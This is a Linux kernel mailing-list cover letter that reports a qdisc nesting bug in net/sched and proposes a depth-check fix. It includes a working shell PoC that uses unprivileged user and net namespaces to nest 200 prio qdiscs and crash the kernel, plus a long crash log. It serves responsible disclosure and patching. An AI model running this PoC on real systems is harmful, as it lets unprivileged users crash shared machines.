Netdev List
 help / color / mirror / Atom feed
From: Ren Wei <enjou1224z@gmail.com>
To: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-kselftest@vger.kernel.org
Cc: davem@davemloft.net, edumazet@google.com, kuba@kernel.org,
	pabeni@redhat.com, horms@kernel.org, jhs@mojatatu.com,
	jiri@resnulli.us, vega@nebusec.ai, milkory@outlook.com,
	enjou1224z@gmail.com
Subject: [PATCH net v2 0/2] net/sched: fix qdisc graft hierarchy validation
Date: Sat,  1 Aug 2026 21:42:32 +0800	[thread overview]
Message-ID: <cover.1785434373.git.milkory@outlook.com> (raw)

From: Zijie Huang <milkory@outlook.com>

Hi Linux kernel maintainers,

We found and validated a issue in net/sched/sch_api.c. The bug is reachable
by a non-root user via user and net namespace. We've tested it, and it
should not affect any other functionality.

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

The qdisc create-and-graft path allows users to keep attaching new classful
qdiscs under an already deep parent hierarchy. Such a hierarchy can later
be walked recursively and exhaust the kernel stack.

This series stores the qdisc hierarchy depth in struct Qdisc and checks it
when a qdisc is grafted. New child qdiscs are rejected once the parent is
already at the maximum allowed depth. It also adds tdc coverage for the
maximum allowed depth and rejection above it.

Reproducer:

    chmod +x ./poc.sh
    ./poc.sh namespace

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin

DEPTH="${DEPTH:-200}"
IFACE0="${IFACE0:-veth0}"
IFACE1="${IFACE1:-veth1}"
MODE="${1:-root}"

setup_and_trigger() {
	ip link del "$IFACE0" 2>/dev/null || true
	ip link add "$IFACE0" type veth peer name "$IFACE1"

	sysctl -q -w "net.ipv6.conf.$IFACE0.disable_ipv6=1"
	sysctl -q -w "net.ipv6.conf.$IFACE1.disable_ipv6=1"

	ip addr add 10.0.0.1/24 dev "$IFACE0"
	ip addr add 10.0.0.2/24 dev "$IFACE1"

	tc qdisc add dev "$IFACE0" root handle 1: prio

	i=1
	while [ "$i" -le "$DEPTH" ]; do
		parent_major="$(printf '%x' "$i")"
		child_major="$(printf '%x' $((i + 1)))"
		tc qdisc add dev "$IFACE0" parent "${parent_major}:2" handle "${child_major}:" prio
		i=$((i + 1))
	done

	ip link set "$IFACE0" up
	ip link set "$IFACE1" up

	ping -c 1 -W 1 -I "$IFACE0" 10.0.0.2 >/dev/null
}

case "$MODE" in
root)
	setup_and_trigger
	;;
namespace)
	exec unshare -Urn sh "$0" inner
	;;
inner)
	setup_and_trigger
	;;
*)
	echo "usage: $0 [root|namespace]" >&2
	exit 1
	;;
esac

------END poc.sh--------

----BEGIN crash log----

[  192.465021][    C0] BUG: TASK stack guard page was hit at ffffc9000dbd7fd8 (stack is ffffc9000dbd8000..ffffc9000dbe0000)
[  192.465084][    C0] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[  192.465127][    C0] CPU: 0 UID: 1001 PID: 10556 Comm: ping Not tainted 7.2.0-rc4-00413-ge095f249e220 #1 PREEMPT(full) 
[  192.465149][    C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014
[  192.465153][    C0] RIP: 0010:prio_enqueue+0x2e/0x7c0
[  192.465254][    C0] Code: 55 48 89 e5 41 57 41 56 41 55 49 bd 00 00 00 00 00 fc ff df 41 54 49 89 fc 53 48 89 f3 48 83 e4 f0 48 83 c4 80 4c 8d 74 24 20 <48> 89 54 24 18 48 c7 44 24 20 b3 8a b5 41 49 c1 ee 03 48 c7 44 24
[  192.465260][    C0] RSP: 0018:ffffc9000dbd7fe0 EFLAGS: 00010283
[  192.465274][    C0] RAX: ffffffff89a12450 RBX: ffff88804c17cc00 RCX: ffffffff89a1298d
[  192.465278][    C0] RDX: ffffc9000dbdf380 RSI: ffff88804c17cc00 RDI: ffff88803c2ca580
[  192.465282][    C0] RBP: ffffc9000dbd8090 R08: 0000000000000005 R09: 000000000000ffff
[  192.465286][    C0] R10: 0000000000000000 R11: 0000000000000001 R12: ffff88803c2ca580
[  192.465289][    C0] R13: dffffc0000000000 R14: ffffc9000dbd8000 R15: ffff88804c179280
[  192.465293][    C0] FS:  00007f69fe54f000(0000) GS:ffff8880d62af000(0000) knlGS:0000000000000000
[  192.465306][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  192.465310][    C0] CR2: ffffc9000dbd7fd8 CR3: 000000004b49e000 CR4: 0000000000352ef0
[  192.465314][    C0] Call Trace:
[  192.465316][    C0]  <TASK>
[  192.465319][    C0]  ? tcf_classify+0x3db/0x1250
[  192.465343][    C0]  prio_enqueue+0x209/0x7c0
[  192.465349][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465356][    C0]  prio_enqueue+0x209/0x7c0
[  192.465363][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465370][    C0]  prio_enqueue+0x209/0x7c0
[  192.465376][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465384][    C0]  prio_enqueue+0x209/0x7c0
[  192.465390][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465398][    C0]  prio_enqueue+0x209/0x7c0
[  192.465404][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465411][    C0]  prio_enqueue+0x209/0x7c0
[  192.465417][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465425][    C0]  prio_enqueue+0x209/0x7c0
[  192.465431][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465439][    C0]  prio_enqueue+0x209/0x7c0
[  192.465445][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465453][    C0]  prio_enqueue+0x209/0x7c0
[  192.465459][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465467][    C0]  prio_enqueue+0x209/0x7c0
[  192.465473][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465480][    C0]  prio_enqueue+0x209/0x7c0
[  192.465486][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465494][    C0]  prio_enqueue+0x209/0x7c0
[  192.465500][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465507][    C0]  prio_enqueue+0x209/0x7c0
[  192.465513][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465520][    C0]  prio_enqueue+0x209/0x7c0
[  192.465527][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465562][    C0]  prio_enqueue+0x209/0x7c0
[  192.465656][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465665][    C0]  prio_enqueue+0x209/0x7c0
[  192.465673][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465682][    C0]  prio_enqueue+0x209/0x7c0
[  192.465690][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465699][    C0]  prio_enqueue+0x209/0x7c0
[  192.465707][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465716][    C0]  prio_enqueue+0x209/0x7c0
[  192.465735][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465744][    C0]  prio_enqueue+0x209/0x7c0
[  192.465753][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465779][    C0]  prio_enqueue+0x209/0x7c0
[  192.465807][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465816][    C0]  prio_enqueue+0x209/0x7c0
[  192.465824][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465834][    C0]  prio_enqueue+0x209/0x7c0
[  192.465843][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465851][    C0]  prio_enqueue+0x209/0x7c0
[  192.465858][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465865][    C0]  prio_enqueue+0x209/0x7c0
[  192.465871][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465879][    C0]  prio_enqueue+0x209/0x7c0
[  192.465885][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465893][    C0]  prio_enqueue+0x209/0x7c0
[  192.465899][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465907][    C0]  prio_enqueue+0x209/0x7c0
[  192.465913][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465921][    C0]  prio_enqueue+0x209/0x7c0
[  192.465927][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465935][    C0]  prio_enqueue+0x209/0x7c0
[  192.465941][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465949][    C0]  prio_enqueue+0x209/0x7c0
[  192.465955][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465962][    C0]  prio_enqueue+0x209/0x7c0
[  192.465969][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465976][    C0]  prio_enqueue+0x209/0x7c0
[  192.465983][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465990][    C0]  prio_enqueue+0x209/0x7c0
[  192.465996][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466004][    C0]  prio_enqueue+0x209/0x7c0
[  192.466011][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466018][    C0]  prio_enqueue+0x209/0x7c0
[  192.466025][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466032][    C0]  prio_enqueue+0x209/0x7c0
[  192.466039][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466046][    C0]  prio_enqueue+0x209/0x7c0
[  192.466053][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466060][    C0]  prio_enqueue+0x209/0x7c0
[  192.466066][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466074][    C0]  prio_enqueue+0x209/0x7c0
[  192.466080][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466088][    C0]  prio_enqueue+0x209/0x7c0
[  192.466094][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466102][    C0]  prio_enqueue+0x209/0x7c0
[  192.466108][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466116][    C0]  prio_enqueue+0x209/0x7c0
[  192.466122][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466130][    C0]  prio_enqueue+0x209/0x7c0
[  192.466136][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466144][    C0]  prio_enqueue+0x209/0x7c0
[  192.466150][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466158][    C0]  prio_enqueue+0x209/0x7c0
[  192.466164][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466172][    C0]  prio_enqueue+0x209/0x7c0
[  192.466178][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466186][    C0]  prio_enqueue+0x209/0x7c0
[  192.466192][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466200][    C0]  prio_enqueue+0x209/0x7c0
[  192.466206][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466228][    C0]  prio_enqueue+0x209/0x7c0
[  192.466235][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466243][    C0]  prio_enqueue+0x209/0x7c0
[  192.466249][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466258][    C0]  prio_enqueue+0x209/0x7c0
[  192.466264][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466272][    C0]  prio_enqueue+0x209/0x7c0
[  192.466278][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466285][    C0]  prio_enqueue+0x209/0x7c0
[  192.466291][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466299][    C0]  prio_enqueue+0x209/0x7c0
[  192.466305][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466312][    C0]  prio_enqueue+0x209/0x7c0
[  192.466319][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466326][    C0]  prio_enqueue+0x209/0x7c0
[  192.466333][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466340][    C0]  prio_enqueue+0x209/0x7c0
[  192.466347][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466354][    C0]  prio_enqueue+0x209/0x7c0
[  192.466360][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466367][    C0]  prio_enqueue+0x209/0x7c0
[  192.466373][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466380][    C0]  prio_enqueue+0x209/0x7c0
[  192.466387][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466395][    C0]  prio_enqueue+0x209/0x7c0
[  192.466401][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466409][    C0]  prio_enqueue+0x209/0x7c0
[  192.466415][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466422][    C0]  prio_enqueue+0x209/0x7c0
[  192.466428][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466436][    C0]  prio_enqueue+0x209/0x7c0
[  192.466442][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466449][    C0]  prio_enqueue+0x209/0x7c0
[  192.466455][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466471][    C0]  prio_enqueue+0x209/0x7c0
[  192.466477][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466484][    C0]  prio_enqueue+0x209/0x7c0
[  192.466490][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466498][    C0]  prio_enqueue+0x209/0x7c0
[  192.466504][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466512][    C0]  prio_enqueue+0x209/0x7c0
[  192.466518][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466525][    C0]  prio_enqueue+0x209/0x7c0
[  192.466532][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466539][    C0]  prio_enqueue+0x209/0x7c0
[  192.466545][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466553][    C0]  prio_enqueue+0x209/0x7c0
[  192.466559][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466567][    C0]  prio_enqueue+0x209/0x7c0
[  192.466573][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466581][    C0]  prio_enqueue+0x209/0x7c0
[  192.466587][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466594][    C0]  prio_enqueue+0x209/0x7c0
[  192.466600][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466608][    C0]  prio_enqueue+0x209/0x7c0
[  192.466614][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466621][    C0]  prio_enqueue+0x209/0x7c0
[  192.466628][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466635][    C0]  prio_enqueue+0x209/0x7c0
[  192.466641][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466649][    C0]  prio_enqueue+0x209/0x7c0
[  192.466655][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466662][    C0]  prio_enqueue+0x209/0x7c0
[  192.466668][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466675][    C0]  prio_enqueue+0x209/0x7c0
[  192.466682][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466690][    C0]  prio_enqueue+0x209/0x7c0
[  192.466696][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466703][    C0]  prio_enqueue+0x209/0x7c0
[  192.466709][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466716][    C0]  prio_enqueue+0x209/0x7c0
[  192.466722][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466730][    C0]  prio_enqueue+0x209/0x7c0
[  192.466736][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466743][    C0]  prio_enqueue+0x209/0x7c0
[  192.466749][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466757][    C0]  prio_enqueue+0x209/0x7c0
[  192.466763][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466770][    C0]  prio_enqueue+0x209/0x7c0
[  192.466776][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466784][    C0]  prio_enqueue+0x209/0x7c0
[  192.466790][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466797][    C0]  prio_enqueue+0x209/0x7c0
[  192.466803][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466810][    C0]  prio_enqueue+0x209/0x7c0
[  192.466816][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466824][    C0]  prio_enqueue+0x209/0x7c0
[  192.466830][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466837][    C0]  prio_enqueue+0x209/0x7c0
[  192.466844][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466851][    C0]  prio_enqueue+0x209/0x7c0
[  192.466857][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466865][    C0]  prio_enqueue+0x209/0x7c0
[  192.466871][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466878][    C0]  prio_enqueue+0x209/0x7c0
[  192.466884][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466892][    C0]  prio_enqueue+0x209/0x7c0
[  192.466898][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466905][    C0]  prio_enqueue+0x209/0x7c0
[  192.466911][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466919][    C0]  prio_enqueue+0x209/0x7c0
[  192.466925][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466932][    C0]  prio_enqueue+0x209/0x7c0
[  192.466939][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466946][    C0]  prio_enqueue+0x209/0x7c0
[  192.466952][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466959][    C0]  prio_enqueue+0x209/0x7c0
[  192.466965][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466973][    C0]  prio_enqueue+0x209/0x7c0
[  192.466979][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466986][    C0]  prio_enqueue+0x209/0x7c0
[  192.466992][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467000][    C0]  prio_enqueue+0x209/0x7c0
[  192.467014][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467022][    C0]  prio_enqueue+0x209/0x7c0
[  192.467028][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467035][    C0]  prio_enqueue+0x209/0x7c0
[  192.467043][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467050][    C0]  prio_enqueue+0x209/0x7c0
[  192.467056][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467063][    C0]  prio_enqueue+0x209/0x7c0
[  192.467070][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467077][    C0]  prio_enqueue+0x209/0x7c0
[  192.467083][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467091][    C0]  prio_enqueue+0x209/0x7c0
[  192.467097][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467104][    C0]  prio_enqueue+0x209/0x7c0
[  192.467111][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467118][    C0]  prio_enqueue+0x209/0x7c0
[  192.467124][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467132][    C0]  prio_enqueue+0x209/0x7c0
[  192.467138][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467145][    C0]  prio_enqueue+0x209/0x7c0
[  192.467152][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467159][    C0]  prio_enqueue+0x209/0x7c0
[  192.467165][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467174][    C0]  prio_enqueue+0x209/0x7c0
[  192.467180][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467188][    C0]  prio_enqueue+0x209/0x7c0
[  192.467194][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467201][    C0]  prio_enqueue+0x209/0x7c0
[  192.467207][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467215][    C0]  prio_enqueue+0x209/0x7c0
[  192.467221][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467228][    C0]  prio_enqueue+0x209/0x7c0
[  192.467235][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467242][    C0]  prio_enqueue+0x209/0x7c0
[  192.467248][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467256][    C0]  prio_enqueue+0x209/0x7c0
[  192.467262][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467269][    C0]  prio_enqueue+0x209/0x7c0
[  192.467275][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467283][    C0]  prio_enqueue+0x209/0x7c0
[  192.467289][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467297][    C0]  prio_enqueue+0x209/0x7c0
[  192.467303][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467310][    C0]  prio_enqueue+0x209/0x7c0
[  192.467317][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467324][    C0]  prio_enqueue+0x209/0x7c0
[  192.467330][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467338][    C0]  prio_enqueue+0x209/0x7c0
[  192.467344][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467351][    C0]  prio_enqueue+0x209/0x7c0
[  192.467357][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467365][    C0]  prio_enqueue+0x209/0x7c0
[  192.467371][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467379][    C0]  prio_enqueue+0x209/0x7c0
[  192.467385][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467392][    C0]  prio_enqueue+0x209/0x7c0
[  192.467398][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467406][    C0]  prio_enqueue+0x209/0x7c0
[  192.467412][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467419][    C0]  prio_enqueue+0x209/0x7c0
[  192.467425][    C0]  ? __pfx_stack_trace_save+0x10/0x10
[  192.467432][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467439][    C0]  prio_enqueue+0x209/0x7c0
[  192.467445][    C0]  ? vma_complete+0x9f4/0xf70
[  192.467472][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467478][    C0]  ? __lock_acquire+0x49f/0x1a40
[  192.467487][    C0]  prio_enqueue+0x209/0x7c0
[  192.467493][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467500][    C0]  prio_enqueue+0x209/0x7c0
[  192.467506][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467513][    C0]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  192.467520][    C0]  prio_enqueue+0x209/0x7c0
[  192.467526][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467533][    C0]  prio_enqueue+0x209/0x7c0
[  192.467539][    C0]  ? stack_trace_save+0x8e/0xc0
[  192.467545][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467551][    C0]  ? stack_depot_save_flags+0x27/0x9d0
[  192.467577][    C0]  prio_enqueue+0x209/0x7c0
[  192.467583][    C0]  ? mas_wr_split+0x1c23/0x3960
[  192.467613][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467619][    C0]  ? mprotect_fixup+0x27a/0xe30
[  192.467629][    C0]  prio_enqueue+0x209/0x7c0
[  192.467635][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467642][    C0]  prio_enqueue+0x209/0x7c0
[  192.467648][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467655][    C0]  prio_enqueue+0x209/0x7c0
[  192.467661][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467668][    C0]  prio_enqueue+0x209/0x7c0
[  192.467675][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467680][    C0]  ? __lock_acquire+0x49f/0x1a40
[  192.467688][    C0]  prio_enqueue+0x209/0x7c0
[  192.467695][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467702][    C0]  prio_enqueue+0x209/0x7c0
[  192.467708][    C0]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  192.467715][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467721][    C0]  ? kernel_text_address+0x8d/0x100
[  192.467738][    C0]  ? unwind_get_return_address+0x59/0xa0
[  192.467753][    C0]  prio_enqueue+0x209/0x7c0
[  192.467760][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467767][    C0]  prio_enqueue+0x209/0x7c0
[  192.467774][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467781][    C0]  prio_enqueue+0x209/0x7c0
[  192.467787][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467795][    C0]  prio_enqueue+0x209/0x7c0
[  192.467801][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467807][    C0]  ? __pfx_do_raw_spin_lock+0x10/0x10
[  192.467816][    C0]  __dev_queue_xmit+0x2ffa/0x4970
[  192.467840][    C0]  ? kmalloc_reserve+0x148/0x350
[  192.467855][    C0]  ? __pfx___dev_queue_xmit+0x10/0x10
[  192.467863][    C0]  ? lock_acquire+0x180/0x370
[  192.467870][    C0]  ? find_held_lock+0x2b/0x80
[  192.467875][    C0]  ? nf_hook.constprop.0+0x2f0/0x760
[  192.467884][    C0]  ? nf_hook.constprop.0+0x2f0/0x760
[  192.467894][    C0]  ? nf_hook.constprop.0+0x2fa/0x760
[  192.467902][    C0]  ? __pfx_arp_xmit_finish+0x10/0x10
[  192.467911][    C0]  ? __pfx_nf_hook.constprop.0+0x10/0x10
[  192.467920][    C0]  ? lock_acquire+0x1b9/0x370
[  192.467928][    C0]  arp_xmit+0x106/0x2e0
[  192.467937][    C0]  arp_send_dst+0x200/0x280
[  192.467945][    C0]  arp_solicit+0x672/0x1070
[  192.467951][    C0]  ? trace_kmem_cache_alloc+0xdd/0x100
[  192.467959][    C0]  ? __kasan_slab_alloc+0x89/0x90
[  192.467966][    C0]  ? __pfx_arp_solicit+0x10/0x10
[  192.467972][    C0]  ? neigh_probe+0x72/0x110
[  192.467988][    C0]  ? __pfx_arp_solicit+0x10/0x10
[  192.467993][    C0]  neigh_probe+0xce/0x110
[  192.468001][    C0]  __neigh_event_send+0xabe/0x13d0
[  192.468009][    C0]  neigh_resolve_output+0x550/0x8f0
[  192.468015][    C0]  ? __pfx____neigh_create+0x10/0x10
[  192.468022][    C0]  ip_finish_output2+0x851/0x2400
[  192.468032][    C0]  ? __pfx_ip_finish_output2+0x10/0x10
[  192.468039][    C0]  ? __pfx_ip_dst_mtu_maybe_forward+0x10/0x10
[  192.468048][    C0]  ? find_held_lock+0x2b/0x80
[  192.468053][    C0]  __ip_finish_output.part.0+0x444/0x6f0
[  192.468062][    C0]  ip_output+0x39b/0xc10
[  192.468070][    C0]  ? __pfx_ip_output+0x10/0x10
[  192.468077][    C0]  ? __ip_make_skb+0x111e/0x1f90
[  192.468086][    C0]  ? __pfx_ip_finish_output+0x10/0x10
[  192.468094][    C0]  ? __pfx_ip_output+0x10/0x10
[  192.468102][    C0]  ip_push_pending_frames+0x284/0x300
[  192.468111][    C0]  raw_sendmsg+0x1509/0x3590
[  192.468117][    C0]  ? __pfx_raw_sendmsg+0x10/0x10
[  192.468123][    C0]  ? avc_has_perm+0x135/0x1e0
[  192.468148][    C0]  ? __pfx_avc_has_perm+0x10/0x10
[  192.468157][    C0]  ? __pfx_tomoyo_check_inet_address+0x10/0x10
[  192.468177][    C0]  ? __pfx_raw_sendmsg+0x10/0x10
[  192.468183][    C0]  inet_sendmsg+0x11c/0x140
[  192.468192][    C0]  __sys_sendto+0x453/0x4e0
[  192.468214][    C0]  ? __pfx_inet_sendmsg+0x10/0x10
[  192.468223][    C0]  ? __pfx___sys_sendto+0x10/0x10
[  192.468231][    C0]  ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[  192.468241][    C0]  __x64_sys_sendto+0xe0/0x1c0
[  192.468249][    C0]  ? do_syscall_64+0x90/0x860
[  192.468257][    C0]  ? lockdep_hardirqs_on+0x78/0x100
[  192.468266][    C0]  do_syscall_64+0x10b/0x860
[  192.468275][    C0]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  192.468281][    C0] RIP: 0033:0x7f69fe7cf046
[  192.468295][    C0] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 11 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 72 c3 90 55 48 83 ec 30 44 89 4c 24 2c 4c 89
[  192.468301][    C0] RSP: 002b:00007ffdb7ccbf98 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[  192.468307][    C0] RAX: ffffffffffffffda RBX: 00007ffdb7ccd720 RCX: 00007f69fe7cf046
[  192.468311][    C0] RDX: 0000000000000040 RSI: 000055becbf95950 RDI: 0000000000000003
[  192.468315][    C0] RBP: 000055becbf95950 R08: 00007ffdb7ccf99c R09: 0000000000000010
[  192.468319][    C0] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000040
[  192.468322][    C0] R13: 00007ffdb7ccd6e0 R14: 00007ffdb7ccbfa0 R15: 0000001d00000001
[  192.468338][    C0]  </TASK>
[  192.468349][    C0] Modules linked in:
[  192.468370][    C0] ---[ end trace 0000000000000000 ]---
[  192.468381][    C0] RIP: 0010:prio_enqueue+0x2e/0x7c0
